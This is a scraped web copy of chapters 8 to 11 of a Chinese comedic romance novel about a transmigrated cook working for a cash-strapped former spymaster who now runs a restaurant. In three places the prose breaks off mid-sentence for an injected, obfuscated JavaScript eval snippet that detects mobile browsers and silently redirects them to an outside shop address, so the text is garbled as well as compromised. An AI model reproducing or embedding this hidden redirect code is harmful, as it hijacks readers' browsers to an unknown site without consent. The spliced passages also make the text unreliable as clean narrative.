“你刚才说谁惨?”马陶陶有气无力地问道。 “肚皮惨,跟着我总是打鼓。不说这个了,陶陶你识得方才那轿子上的人不?咱得把这钱还人家啊。”程六水眼巴巴瞅着钱,依依不舍却仍旧义正言辞道。 “方府上的,你把钱给东家就行,他会还回去的。”马陶陶终是叹了口气,她一把将程六水拽了起来,好悬没给六水掀翻。 “走吧,照你这么找客栈,早晚我得饿死。” “你又活过来了!走走走,我实在是头晕,你们这儿的路不直,都绕圈走,我且得熟悉熟悉呢。”程六水不好意思挠着脑袋说道。 “你去过京城?”马陶陶忽而问道。 “没去过啊,为什么这么问。”程六水天真道。 “京城方方正正的,路也是直的。”马陶陶拉着程六水在弯弯曲曲的街道上走着,两人有一搭没一搭地聊着。 “陶陶你真有见识,还去过京城,京城好玩吗?” “还行吧。” “等我攒够钱,我也要去京城转转,我长这么大,还没怎么出去玩过呢。” 明媚阳光不偏不倚地站在程六水的脸上,她弯唇笑得开心,圆圆的眼睛眯成了一条缝,语气轻快得很,仰起头好似是在望着碧蓝的天空,只有她自己知道,那是在看七彩泡泡般美好的未来。 只不过未来终究是未来,眼下的问题还是要解决的,比如这两人终于走到了城东客栈,她们就看到了已经在悠闲品茗的东家张清寒了。 这位东家与其说是商人,更像个隐居的文人雅士,一举一动莫不有章法,言谈举止间冷淡有礼,身上是半点市侩之气也没有。 怪不得酒楼看上去就不是景气的样子,程六水腹诽道,她悄咪咪地走到张清寒身前,扬起最为灿烂不过的笑脸道,“哎呀东家脚程真快!我们是拍马都赶不上啊,怪不得是东家呢。” 张清寒呼吸一滞,这么直白的马屁倒是很久不见了,这女子到底是厨子还是马屁精啊。 “楼上左数第二间,你和陶陶的房间,去收拾收拾吧,干净的衣服已经买回来了。”张清寒清尝了口茶,面色不改地温和道。 “还有新衣服穿!东家你真是世上最好的东家了。”程六水嘴皮一张,就又是一句彩虹屁。 “行了,快去吧。” “好嘞。”程六水颠颠地上了一半楼,又折了回来。 “又怎么了?”张清寒问道。 “那个……刚才在路上,有个好心的夫人给了我和陶陶一吊钱,陶陶说夫人是方府的,给您就成。”程六水说完,就笑眯眯溜走了。 待到人影都不见时,张清寒才显露出了匪夷所思又哭笑不得的神情,“这是被当成小乞儿了?” 他的眼神逐渐飘向远方,程六水,厨子吗?身负血海深仇的程门传人做了他张清寒的厨子,真是有趣。 8. 第 8 章 城东客栈是江陵最大的客栈,生意做得大,天南海北的人都来这落脚,自然客房也就收拾得干净整洁,店小二殷勤周到得很,烧好的热水送到了客房里,雕花柳木浴桶旁还放了些浴豆香胰子。 热气蒸腾笼罩着程六水,一点点驱散这副身子的疲惫不堪,就连紧绷的神经也跟着松弛了下来,香胰子打在身上莫名舒心的气味更加侵袭了她所剩不多的理智。 纤细的手腕随意搭在浴桶边,她微微抬首只见那轻纱帘幔随风摆动着,初夏的茉莉开得极盛,明晃晃的香气扑面而来。 恍惚间,程六水脑海中记忆的碎片却愈发完整了,七零八落地拼凑出了近乎完整的画卷。疲于奔命的她,第一次完整地对这个世界有了清晰的认知。 大乾这个朝代不曾出现在程六水熟悉的历史长河中,但又有很多相似之处。辽阔完整的中原版图,安居乐业的百姓,富得流油的商人们,乍一看就是个君主贤明的盛世。 不同的是,这里还有武林有江湖,原主所在的程门便是武林中不大不小的一个门派,专攻奇门遁甲锻造兵器。传承百年的门派本该顺风顺水,可匹夫无罪怀璧其罪,最终竟落得个灭门的灾祸。 武林中赫赫有名的名门正派有八大门派,派出了无数高手调查此案,整整两年却无功而返,原身知道这些名门子弟不仅想查真凶在武林扬名立万,更想的是找到她这个失踪了的程门唯一传人。 没有了宗门庇护的程六水,宛如一只会下金蛋的鸡崽子,只能任人宰割听人吩咐,可她不愿意。而现在的程六水同样不愿意,当然她也不会,除了做菜,啥也不会。 她暗暗下定决心,先隐姓埋名鸟悄老实地在这江陵待着,两耳不闻武林事,一心只想颠大勺。原主的仇,原主的父母,她统统记得,但作为一个务实的人,首先要填饱肚子赚到钱,再谋大事。 赤足踩在穗草纹的麻布上,程六水拿起挂在屏风上的衣衫,东家吩咐人买来的,料子一摸比程六水先前穿得要好,春桃般鲜嫩的颜色是时下最受年轻女郎们追捧的,衬得程六水小脸愈发莹白。 她慢慢绞干着垂落在腰间的乌发,从屏风里走了出来,斑驳光影透过轩窗旁的涓纱映了进来,水里蹦出了个晶莹剔透的人,湿漉漉如雾般的眼眸藏着隐隐约约的灵动,宛如食月华朝露长成的山间小鹿,哪怕是天底下最心狠的猎手都不舍得猎杀,只能装作一时手抖作罢。 马陶陶早已梳洗好,坐在桌旁奋笔疾书着,一抬眼便见了这般的程六水,连笔都忘了收回,乌黑的墨洇开了白纸 “六水,你好好看啊。”马陶陶顾不上写信给自家哥哥告状了,起身几步便来到了程六水身旁,左瞧瞧右看看。 程六水扑哧一声笑出了声,“我们陶陶不生气了?不吵吵回家了?”她软软地依偎在马陶陶身侧,一同经历过同生共死糟心事,总是能生出许多情意。 “怎么不生气!我正写信让我哥带我回家呢!”马陶陶气愤地手舞足蹈着,好看的瑞凤眼生机勃勃的。 “我方才听了一耳朵,东家说你哥哥将你压在酒楼了,这是怎么一回事啊?”程六水温和地倒了盏茶,递给了陶陶。 “别提了,我哥哥是个不着家的生意人,他这几年生意做得越发大,就将我丢在京城的宅子里。今朝过年的时候,他终于是回了家,我提起在这京城实在闷得慌,想与他一同去北戎做生意,结果他说什么都不同意,我实在气不过便离了家,谁曾想半路就被逮了回去。”马陶陶接过茶水,抿了几口说道。 程六水听到半道,又想起了些事,本朝商人不再地位低下,而女子经商更是盛行,商会有时还会多加照拂,民间传闻那当今的皇后娘娘未嫁与今上时,就是位极有名的女商人。 “为何不可?既然你哥哥做得,你为何做不得?”程六水下意识说道。 “正是这个道理,我那黑心肝的哥哥辩不过我,便将我送到这十全酒楼,让我多听多看多学,若是酒楼东家说我学成了,我便能同我哥哥一样做生意了。”马陶陶道。 “你确定你哥哥让你在咱这酒楼学做生意?”程六水皱着一张圆脸蛋,活像个白面包子全是褶儿,就她昨儿个看酒楼那半死不活的样子,怎么都不像个生意红火的。 “我和你说,我哥哥聪明无双气宇轩昂,就是有一点交友糊涂,他偏偏就觉着张东家好,说他能文能武人还老实本分,定能磨练我。”马陶陶一脸怨气地说道。 “确实磨练了,你看咱不都差点死在酒楼嘛。”程六水甜滋滋地笑着,好似在说,啊你看这蓝天真蓝啊。 马陶陶瞬间被气笑了,咬牙切齿道,“没错你说得非常正确。”手里就差磨刀霍霍向坏人了。 而那位老实本分的东家正坐在方府的大宅子里悠悠地喝茶,最掐尖的雨前龙井十分适合用来润喉,那八宝盒里还放了各色干果,他捡起几粒葵花籽正准备嗑,还没进嘴就老远听到了中气十足的招呼声。 “哎呦,张老弟那阵风把你给出来了,我这府上可真是蓬荜生辉啊。”方之峻大步流星地走了过来,身上知府的官服都没来得及换,仔细一瞧那额间上都是薄汗。 张清寒将几粒瓜子装进袖口,这才起身笑道,“不知是否扰了方大人公务,是清寒的不是了。” “不打扰不打扰,我这是盼星星盼月亮才能盼到你张老弟来,今天不准走啊不醉不归。”方之峻已过而立之年,调来江陵任职不过月余,他先前在京城就见过这位炙手可热的张清寒,那时他还是皇城司使,帝王亲信监察百官。 可后来不知怎的,又传几度辞官,听说那帝后皆是不允的,只说放他休沐,等他歇够了,就还是那个赫赫有名的皇城司使。 方之峻从翰林院下放到江陵,自是有一番抱负的,来了几日便翻阅了数年来的卷宗,他知城里有一家半死不活的十全酒楼,那酒楼的东家叫张清寒。 酒楼饭难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16405775|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃人吓人,柜台后面站着个五大三粗的男人,拿着支笔压根不像在记账,明明就能一笔戳死个人。 这地方白日里总有些江湖人,半夜就更热闹了,能戳死人的账房先生不记账了,记得都是一桩桩情报,是那种能轻而易举送人进大牢的情报。 方之峻对这酒楼从来都是近而远之的,哪里想到如今酒楼的东家明晃晃地就登门了。 他真想疯狂捶打胸口,再给上张清寒几拳,不是说好的休沐吗?回酒楼做什么?不当官了改经商了? “大人客气了,今日清寒是来上门道谢的,昨夜那场大火要不是大人素日里管理有道未雨绸缪,火夫队尽职尽责,想必定会殃及周边百姓。”张清寒颔首道。 “这哪里用谢,只不过是职责所在,还未来得及问老弟,你那酒楼不曾有人受伤吧。”方之峻关切道。 “倒是不曾,只是有些许狼狈罢了,日后清寒便要在这江陵住下了,到时酒楼重新开张,方大人可要赏光来尝尝,我新聘的厨子手艺不错。”张清寒忽而从口袋里取出了一吊钱来,接着说道。 “嫂夫人好心,给了我手下小姑娘一吊钱,小姑娘托我归还。” “???”方之峻愣了几秒,还是没明白怎么个事,就只见张清寒飘忽而去,只余下句“多谢大人了。” 好家伙,这皇城司使果然名不虚传,武功高深莫测,方之峻感叹完只能拿着这吊钱去问问自家夫人了。 张清寒从方府离去,便又去了临安巷商讨酒楼重建一事了,待到天都黑了才回了城东客栈。 “咕噜咕噜。”乔四方面无表情地跟在张清寒后面,仿佛肚子一点都不饿。 倒是张清寒忽而笑了,“行了,别装了,去客栈后厨找点吃的吧。” 已过戌时,后厨也早已不当班了,锅里只剩几个冷馒头。 乔四方暗自撇了撇嘴,不想吃凉馒头啊,要是有碗热汤面就好了。抬头一瞧,自家东家已经啃了起来,半点都不含糊,连盐粒蔗糖都不蘸,直接干噎。 程六水进来的时候,就见白日里恍若隐世高人的张东家如同个树上的大尾巴松鼠,一张俊俏脸蛋吃得鼓鼓囊囊的。 “东家今日真是起早贪黑吃苦耐劳,真乃我辈之楷模啊。” 正嚼着馒头的张清寒卡顿了一下,都不用回头就知道是程六水来了,这女子是怎么夸人夸得如此阴阳怪气的,令人笑也不是哭也不是。 他这一走神竟还真噎着,哐哐得咳了起来,双眼憋得通红。 吓得正要从盆里拿出什么的程六水赶紧过来给东家拍背,使劲那么一捶,直接捶得张清寒不咳了。 张清寒眼泪汪汪地艰难抬起头来,喉咙痛后背也痛,这程六水是不是生来就是克他的。 而此时的程六水一双眼全被眼前楚楚可怜的东家吸引住了,她心中不禁喃喃道,美人落泪惹人怜啊,她都愿意把胸口藏着的那九文钱,分一文钱给他。 9. 第 9 章 “东家你真好看啊,连噎着都这么好看。”都不用过脑子的片汤话张口就来,偏偏程六水生了张圆脸蛋圆眼睛,就算盯着砖头都是那么真挚诚恳,更何况她正目不转睛地瞧着张清寒。 张清寒这下不仅眼睛红通通的似个红眼兔,连面皮子都红了,不知是噎的还是羞的。 程六水倒是不曾察觉自己这话有什么不对,当真还以为是东家憋得脸蛋通红,再顾不上说话赶忙给他倒了杯水。 张清寒好不容易顺明白了气,叹了好大的一口气道,“你以后少说话。” “为啥子?厨子在后厨少吃我是知道的,怎的还要少说话啊。”程六水歪着脑袋坐在张清寒身旁,十分好学问道。不怪她发问,初来乍到的定是要将此处的风土人情规矩学问学明白的,不然以后还如何做事呢。 一双星眸忽地盯上了程六水,眼角晕染的红还未褪去,是审视是不解亦是好奇,宛如一只雄鹰踏云而出,终是见着了最有趣的猎物。皇城司的卷宗如浩瀚烟海曾从张清寒手中流过,上到皇亲宗室下到江湖武林,无不有所探听,怎么从前未曾注意过程门有个这么不知羞的小女子,上来就夸男子好看,也不知从小到大夸了多少人。 他无奈地摇了摇头,收回了那本不该出现在商贾身上的眼神,“无事,这么晚了不睡觉到处瞎晃做什么?” 只见程六水走了几步便来到了灶台前,不知从哪变出来了个大碗,白花花圆滚滚的面团子早已整装待发,而她的手旁还有一个大瓮。 “来给你们做饭啊,大晚上黑灯瞎火的,作为一个合格的厨子是不会让自己的东家饿肚子的,就算是啃凉馒头也不行。”程六水扬起小圆脸,在幽微烛火下无比灿烂。 “真的吗!”一直待机节省电量的乔四方猛地蹿了上来,活像只草原上的猎豹,是那种吃饱了就会翻肚皮的大型猫科动物。 “当然了,我给你们表演表演我的程门绝技,程老四鸡汤抻面!”大瓮里的鸡汤鸡丝争先恐后地砸进了大铁锅里,柴火滋啦滋啦的作响,今儿个午后才下锅的鸡崽子格外鲜嫩,香醇鲜美的鸡汤咕噜咕噜地沸腾着。 更绝的是,程六水扯下抹好油的面剂子,灵活的手指三下五除二面剂子就变成了长条子,在空中旋转飞舞跳跃,有几下差点就打在张清寒脸上了。 去岁深秋收拢的麦穗终于成了劲道爽滑的抻面,在滚烫的鸡汤中跌宕起伏着,谱写了一曲黑灯瞎火里最为美味的夜曲。 翠绿翠绿的芥菜茎被剁成了细碎的小块,用清酱腌制那么一会儿,就成了脆爽开胃的榨菜。随便抓一把撒在鸡汤面更是咸香得很,自然了葱花胡荽也是不能少的。 “吃吧两位。”程六水笑嘻嘻地端着两个脸大的碗过来。 乔四方肚子里的馋虫早已被勾了出来,他是尝过程六水的手艺的,还没等面碗放稳,就直直拿起筷子吃了起来。 一口下去香得都要找不着北了,这鸡汤香而不油鲜而不腻,简直是鸡汤里的佼佼者,他呲溜呲溜地吃着面条甭提多快活了。 刚刚吃到一半,就听到耳边传来了清冽的声音,“再来一碗多谢。”什么?居然有人吃得比他还快,居然还可以续碗! 程六水愣了几秒,鼻尖的面粉印都来不及擦,惊奇地瞪大了双眼,那碗里足足有八两抻面啊,这就吃完了。她不敢相信自己的耳朵,下意识地揉了揉,抬头又对上了张清寒似笑非笑的面庞,嘴角还有着一颗绿油油的小葱花。 这么能吃还这么瘦,还有没有天理啊,程六水默默咽下了内心的真实想法,缓慢地扬起了嘴角笑容道,“好,稍等。” 这回程六水抻的面又宽又薄,浸在金黄的鸡汤里格外吸汁,“东家再尝尝这碗,这里还有油辣子和香醋哦。” “好。”张清寒舀了整整两勺油辣子,再加上了些许香醋,他几筷子就将油辣子的麻辣鲜香,香醋的酸溜甘甜还有鸡汤本身的滋味混合在了一起。 他的吃相很斯文,甚至算得上是世家子弟训导出来的做派了,但吃得极快简直是令程六水叹为观止。她只能在心底感慨着,果然是人不可貌相海水不可斗量啊,这东家的肚子怕是比大海还要能装吧。 一旁的乔四方也学着放了些辣子,他吃辣不太行却极爱吃,偏生鸡汤热乎乎的,给他辣得龇牙咧嘴的,就这样也没剩下什么,碗底里的汤都尽数喝了。 “六水,你这手厨艺不错。”张清寒将第二碗面条全数消灭殆尽后,讲究地擦拭了嘴角道。 “嘿嘿谢谢东家夸奖。”程六水露出了标准的八颗牙齿笑,东家就算不说,她自个儿也能看得出来,东家啊是真饿了。 张清寒转过头看向乔四方,面无表情道,“你留下洗碗。” 乔四方吃完一大碗面条都困得眼睛睁不开,本来就差拿着两根火柴棍支棱着自己的眼皮了,听了这话直接就把眼皮彻底闭上了。 “酒楼现在有厨子了,但没有杂役,你可以兼任,给你双倍月钱。”张清寒轻声说道。 “保证完成任务!”乔四方瞬间站得倍儿直,就差冲破房顶了,他乐得屁颠颠地端着碗就去洗,嘴里还念叨着,“我想发财就能发大财,财神老爷快到我的家里来。” 这一切发生得太快了,程六水只来得及拽住正要回房休息的张清寒,袖口拽得都快破了。 张清寒波澜不惊地转过身来道,“又怎么了?” “那个…东家,咱酒楼还缺杂役吗?我也想拿双倍月钱。”程六水笑得宛如熟透的向日葵,可爱中带着些许讨好。 还不等张清寒作答,只听乔四方高声大喊道,“我刷完了。”好家伙面碗筷子大铁锅,就连案板都收拾好了,这后厨整整齐齐的,像是没人做过饭一样。 程六水一记眼刀剜向了身后的傻大个,吃着自己做的饭还抢自己的活干,可恶啊下次给乔四方的饭里放三大勺辣子,辣死他! “都早点歇息吧,明日酒楼施工且累着。”张清寒颇有些忍俊不禁,这样的手下不错,吵吵闹闹的比在京城有意思多了。 程六水气呼呼地回到了房间,房里的马陶陶居然还没睡,仍在那里奋笔疾书地写信,目测这信大概已经写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16405776|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个百来页了。 “陶陶要不咱明天再写?”程六水两只眼皮来回地跳,今个儿一下午她已经看了马陶陶写得东家十大罪责,什么冷酷无情无理取闹不闻不问,实在是不想再看了。 她现在一看马陶陶的信就头晕,再娟秀的小楷也是不行的,都快成她高中做数学题了,定睛一看全是天书,字都认识就是连不起来看不明白。 “明日我便不写了,这已经是我给哥哥写得第一百八十六封信了,他却一封都未看过。”马陶陶倚靠在窗边,眉眼低垂仿佛诉说着无尽的悲痛。 “你哥哥不是很疼你的吗?怎么会不看你的信呢?”程六水最见不得美人伤怀,男的女的都算,只能认命般好言好语地哄着。 “哥哥他走南闯北的,一会儿一个地方,这信寄了也是白寄。”马陶陶委屈巴巴道,抽抽噎噎地十分可怜。 “那你等他来酒楼接你,你给他看不就得了,小祖宗快睡吧,再不睡我挠你痒痒。”程六水纤长的手指十分灵活,邪恶地伸向了还等着被哄的马陶陶。 俗话说,会哭的孩子有糖吃,程六水无比认同这句话,但不巧的是她还认同另外一句,小树不修不直溜,人不修理艮啾啾。 “啊!你你你哈哈哈哈,你住手!”马陶陶生来就极为怕痒,整个人笑成一团,直往床榻上逃,在床上笑得上气不接下气的,几乎都要脱力了。 “行了,这回可以安心入睡了。”程六水身子埋在薄被里,好闻的棉花味道直接让她沾枕头就着。 而隔壁本该睡着的某位东家从榻上坐起,披了件袍子便出了门,宵禁后的古朴街道上是没什么人的,张清寒每一步都走得极稳,目光坚定地绕着客栈走了好几圈。 果然半夜吃多了积食,他的思绪在黑夜中异常清晰,许多年前刚刚下山入世的自己,别说是两碗鸡汤面,就是吃个五碗都不在话下。 张清寒经过客栈后厨的时候,隐约又闻到了鸡汤的味道,他一本正经地摸着下巴想到,不如明日让那小丫头做点地三鲜,尖椒干豆腐还有锅包肉吧。 沉浸在家乡菜诱惑的皇城司使理所当然地无视了他京城那帮手下给他留下的暗号,休沐就是休沐,已读不回才是正理,况且美食在前,哪有空想这些事呢。 他又想到,不知道这丫头会不会腌酸菜,要不等上秋了自己教她腌吧,到时候说不定能吃到正宗的酸菜白肉呢。 腌酸菜得买个大缸啊,等酒楼建好了,就让乔四方去买几个大缸,这么一想张清寒觉着不能回六白山的日子也没有那么难熬了,全是盼头啊。 “布谷,布谷,布谷!”漆黑不见五指的深夜里,清脆的鸟叫声逐渐变得声嘶力竭,活像个破锣嗓子,在无人察觉的隐秘之处,蹲着几个身着夜行衣的人。 “咳咳,俺的嗓子…”其中一宽脸大头的人说道。 “喵喵喵喵,喵嗷嗷嗷!”另一位身量中等的大哥接力般叫了起来,呼唤着昔日的皇城司使,可惜正在遛弯的皇城司使鼻子好使嘴巴很馋,就是耳朵上堵了大团棉花,听不见什么都听不见~ 10. 第 10 章 又是一个艳阳天,几近烧成废墟的十全酒楼,焦黑大梁横亘在门口,两边的黄花梨顶梁柱摇摇欲坠,更别提那龙飞凤舞的牌匾直接断成了两截。 临安巷的泥瓦匠们拎着家伙事哐哐干地正起劲,乔四方一下子就扛起了上百斤的横梁,毫不费力地架在肩头,甚至还能举几下,那鼓起的肱二头肌三头肌四头肌十分显眼。 而一旁的杜少仲则在老老实实地搬砖,这人在阳光下一照,细皮嫩肉白白净净的,即使在地上扒砖头,举手投足间仍是气度不凡,连那束发用的发带都是暗纹绣了君子兰的。 这酒楼现下哪哪都是一团糟,唯有一处是个干净拾掇好的地方,张东家早早就让人将厨房收拾妥当。人是铁饭是钢,一顿不吃就饿得慌。 程六水手里提溜着一个大菜筐子,这是她第五天跟着东家采买东西了,酒楼要买的家伙事不老少,大到木材瓦片小到桌椅板凳,而她则会在路过菜市场的时候,买些新鲜的菜肉。 今日的菜筐子里满满的尖椒茄子土豆子,唯一的一点子荤腥就是小半块五花肉,那五花肉是东家亲自挑的,肥瘦相间颜色鲜红,好是真的好就是太少了。 程六水瞅着土豆子久久无言,还未抬头耳边就又响起了些熟悉的声音,“王木匠,一套柳木的桌椅三百文,不能再多了。” “哎呦俺这可是小本生意手艺活啊,你到外面打听打听,打一套柳木的没有九百文下不来。”王木匠哭丧个脸,沟壑纵横的黝黑脸上皱成了包子褶。 “三百五十文不能再多了,我那酒楼起码得来个二十套,这可是个大单子啊,算下来你不仅亏不着还有得赚呢。”往日里清冽的嗓音多了几分烟火气,张清寒就差要与那王木匠坐下拉家常了。 程六水百无聊赖地打了个哈欠,坐在门口的小板凳上放风,她空空如也的脑袋里忽然划过了一句在现代很火很文艺的话,人生若只如初见。 她没什么高雅情操,不记得下半句是什么了,但如今这情景却不得不令她叹一句,人生若只如初见,就不会晓得恍若山巅云的俊俏东家应该很缺钱。 这五天里,张东家光顾的每一家铺子都重复着方才的对话,杀价也是一天比一天狠,都不是打对折了,有时候连三折都不肯付钱。程六水也从一开始地瞠目结舌满是星星眼地崇拜,变成了习以为常,更甚的是开始胡思乱想酒楼的未来。 要是东家没钱了,是不是酒楼还没等建好就又得倒闭了,程六水每每想到这,不禁瑟缩地抱紧自己,使劲晃荡脑袋把自己的胡思乱想甩掉。 张清寒倒是不知道跟在自己身后的小厨娘心思滴溜溜地转,他正心满意足地写字据,柳木方桌配四把圈椅,一套三百五十文,二十套也就是七两银子。 这几天七七八八买了不少东西,他这几年的俸禄花出去了许多,日后酒楼经营要本钱,还得把这几年酒楼亏损倒欠朝廷的钱不少,真是一分钱难倒英雄汉啊。 张清寒堂堂前皇城司使竟缺钱到这种地步,还得从他辞官说起,数月前他就递了折子上去,撇去那些冠冕堂皇的由头,说白了就是不想做官了要打着铺盖卷回老家六白山了。 那帝后两人捧着折子端详了半天,两双老谋深算的眼眸一对视,就又有馊主意了。 先是如今权倾朝野的皇后娘娘声泪俱下地哭诉着国库空虚,话里话外就差说自己穷得叮当响了。张清寒眼睛一眯就察觉出了不对,这位谢皇后世家出身经商奇才,说她缺钱鬼都不信。 紧接着年轻的帝王就露面了,脸上俱是依依惜别十分不舍之意,一一细数着张清寒这些年的功绩,为朝廷除了多少奸佞抓了多少暗探,甚至都提到了张清寒当年的救驾之功。 君圣臣贤一心为国,一套套感人肺腑的话语说得张清寒心里软软的,所幸他素来不是热心肠的人,勉强还能抵挡住这些温情攻势。 本以为帝后闹了这么一通,就能放自己走了,不曾想最后竟还有陷阱,陷阱就是这十全酒楼。 这酒楼是张清寒刚刚入朝为官时的情报据点,只不过他在这做了一月有余的情报探子,就因捉捕敌国间谍有功,直接升官了。酒楼仍在他名下,只不过是有一搭没一搭地管着。 皇帝数了半天功绩,突然就卡了壳不说话了,一本厚厚的账簿出现了。 谢皇后故作惊讶地上前一翻看,又不可置信地看向了张清寒,“爱卿你名下怎么能有这么赔钱的买卖呢?这亏的可都是国库的钱啊。” “清寒定是一时间忘了,他不是有心的。”皇帝一把按下账本,满是信任道。 谢皇后又开始精彩的表演,三分委屈三分讶然偏偏还有四分不清不楚地探究,活脱脱就是将为官清正的张清寒架在火上烤。 “差多少钱我补上即可。”张清寒大义凛然道。 “真的吗?那我们就一言为定哦。”谢皇后捧着账簿,翻到最后一页,赫然写着负五万两。 张清寒那高贵的膝盖差点打晃了,五万两把他卖了吧,他这些年的俸禄加一起都不够补的。 “当然是真的,清寒是大丈夫,一言既出驷马难追。”皇帝和蔼到奸诈的嘴脸终于露了出来,帝后狼狈为奸又把张清寒带沟里去了。 最后的结果自然是,张清寒经营酒楼挣钱还债,并且皇城司事务虽大部分由下属代劳,但一些大案要案仍要他这个皇城司使督办。 张清寒只能无奈应下,这对帝后奸诈狡猾是真,真心挽留亦是真,前路到底如何,谁人能知呢?莫不如抓住眼下,比如门口板凳上昏昏欲睡的小厨娘做得饭菜是真香啊。 “走了。”张清寒从铺子里走了出来,又成了那清风霁月的翩翩公子,至于方才的杀破头血流成河的砍价仿佛从未发生过。 她跟着张东家亦步亦趋地走着,东瞅瞅摊子上的金团豆面糕,又瞧瞧用冰镇着的酸梅饮子,小眼神都快飞到摊子上了,八个铜板顶多买两个糕团,还是等这个月月钱发下来再说吧。 程六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16405777|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水小小地撇了撇嘴,却也没什么不甘心的,延时满足她是懂的,等一等再等一等,应该很快就能吃到的吧。 忽然一双大手出现在她眼前,这手纤长有力骨节分明,白皙掌心还有不少经年老茧,只不过比这双手更吸引程六水的是,那手上的豆面糕! “吃吧。”张清寒轻声说道,冷冽如泉的眉眼在不为人知处融化成了春水,他不该被这丫头的可怜样子蒙骗,程氏唯一的传人哪里会真的馋这摊子上的点心呢,可只要一看她那双湿漉漉的圆眼睛,算了还是买给她吧,说不定真想吃了呢。 “好吃呐,东家你也吃一个。”程六水大大方方地接过了豆面糕,一小口一小口地吃了起来,这豆面糕里面是打得碎碎的豆子掺了十足十的猪油白糖熬出来的馅料,而外面一层还撒了细细的黄豆粉,粘在嫣红唇瓣上毫不收敛。 程六水还穿着那件刚来江陵的浅绿半旧衫子,袖口不知何时早已起了毛边,她素来是个大大咧咧的性子,压根没看见。 而张清寒心细如发,而且还眼明心亮,“不用,你吃吧,这几日你陪我采买也是辛苦了。” “不辛苦不辛苦,东家你是我遇到最好的老板了,不仅英俊潇洒丰神俊朗,而且对我们这些伙计特别好。”程六水见张清寒说不吃,直接收回了刚才递过去的豆面糕,自己美滋滋地吃了起来。 “你之前还在别处做过工?”张清寒故意放慢脚步,迁就着这个贪吃鬼道。 “做过啊,家里穷我很早就出来闯江湖了,我在很多食肆都干过的。”程六水不以为意地将未穿越前的身世说了出来,反正东家也不认识原身。 “你倒是很能干。”张清寒忽而浅笑道,只不过那笑里有几分真心实意就不好说了。 “我只是讨生活的,东家才是真的能干,短短几日就将这酒楼弄得井井有条,想必再过半月就能重新开张了,到时候定能赚得盆满钵满。”程六水笑眯眯恭维道,紧接着吃完了最后一口糕团。 “但愿如此。”张清寒语气愈发冷淡,这个小骗子马屁精,还满嘴片汤话,真是令人心烦。 “唔唔!”程六水骤然一口气憋住了,脸上通红,一个劲地要挣脱喘气,眼巴巴地就要去旁边的好心大娘那讨水喝,一看就是吃糕团噎住了。 她急着朝大妈比划着,谁知道忽然背后一个拳头竟打了上来,“啊痛!”,转身一看正是她方才吹到天上去的张东家。 “你你你。。。”程六水第一反应就想打回去,但看了眼是衣食父母,只能张嘴要骂回去。 “别结巴了,现在不噎了吧。”张清寒面无表情地又递了被酸梅饮子给程六水。 “哎真的不噎了,东家你真是上天入地无所不能,这都会治。”程六水紧急收回一个骂骂咧咧,喝了口熬得恰到好处的酸梅汤道。 张清寒这回倒是没回话,背着手在前面走着,他深深地叹了口气,谁能把这丫头的嘴封上啊,再说下去自己都快成大罗神仙了。 11. 第 11 章 这世上有些事情越想隐瞒就越隐瞒不住,比如年轻男女间的情意绵绵以及没钱的东家。 十全酒楼在张东家的重金扶持下终于焕发了生机,虽不及大火烧毁前阔绰气派但也是窗明几净,只不过黄花梨的老楼梯换成了便宜的杉木,如流水不断送进来的肉菜蛋全部换成了货比三家的省吃俭用,就连重新酿的酒水都不用贵料了,只卖些寻常米酒清酒即可。 听闻这个消息,程六水正在用崭新的灶台炒回锅肉,红通通的益州豆酱在油锅里炸开,五花肉一层肥一层瘦再是一层肥,是她今早特意去集市买来的,鲜嫩的肉片在大铁锅中翻滚着混合了辣滋滋的喷香,没人能受得住。 “没事的,那我以后就早起去集市,那时候菜价便宜。”柴火烘出来的火焰直冲锅底,随着哐哐颠勺火舌仿佛要冲出灶台,为这锅肉增香添彩。 “六水,东家方才还说要降月钱。。。”马陶陶小声道,她与六水同吃同住这些天,早知六水是个实诚人,酒楼里的其他人都是因着旁的由头留在这里,而六水只想踏踏实实做工赚钱。 程六水光洁白嫩的额头上还有着几滴汗,但她已经顾不上了,降月钱?绝对不同意!每一个打工人都要为了口袋里的钱摇旗呐喊,哪怕是付出血的代价也在所不惜。 大堂里,张清寒还在侃侃而谈,“降月钱只是暂时的,等酒楼生意好了,我再给大家涨回来。” “哐当”一声,用料十足的大铁锅从天而降,直直地落在了张东家面前,那喷香的回锅肉还在滋滋冒油,甭提有多香了。 “怎么用铁锅装菜了,盘子呢?”张清寒倒是面不改色,转头看着程六水问道。 “东家你要降月钱?”程六水瞪着大眼睛,娇小的个子还要踮着脚,气鼓鼓地看向张清寒,手里的大铁锅还在跃跃欲试,刚才落在了桌子上,等会儿说不定就落在某人脑袋上了。 